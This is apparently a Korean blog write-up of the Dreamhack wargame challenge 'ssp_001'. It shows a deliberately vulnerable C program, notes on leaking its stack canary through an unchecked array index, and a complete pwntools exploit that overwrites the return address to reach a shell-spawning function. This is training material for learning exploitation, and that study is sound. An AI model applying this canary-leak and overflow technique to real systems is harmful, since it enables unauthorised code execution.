[Dreamhack Wargame] ssp_001

don't panic·2024년 2월 8일
0

System Hacking wargame

목록 보기
37/39

code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

  • get_shell 함수를 실행해야 한다.
  • canary가 들어있기 때문에 Name을 크게 넣을 때 이를 고려해서 넣어야 한다.
  • case P에서 box[idx]를 읽을 수 있는데, box는 [rbp-0x88]이고 canary는 [rbp-0x8]이므로 idx를 잘 넣으면 카나리 값을 읽을 수 있다.

exploit

from pwn import *
def P(idx):
    p.sendlineafter(b'> ', b'P')
    p.sendlineafter(b' : ', str(idx).encode())
p = remote('host3.dreamhack.games', 8942)
e = ELF('./ssp_001')

# leak Canary
canary = b''
for i in range(131, 127, -1):
    P(i)
    p.recvuntil(b'is : ')
    canary += p.recvn(2)
    p.recvline()

canary = int(canary, 16)
log.info(hex(canary))

p.sendlineafter(b'> ', b'E')
name = b'A' * 0x40 + p32(canary) + b'A' * 0x8 
name += p32(e.symbols['get_shell'])
p.sendlineafter(b': ', str(len(name) + 1).encode())
p.sendafter(b': ', name)

p.interactive()

0개의 댓글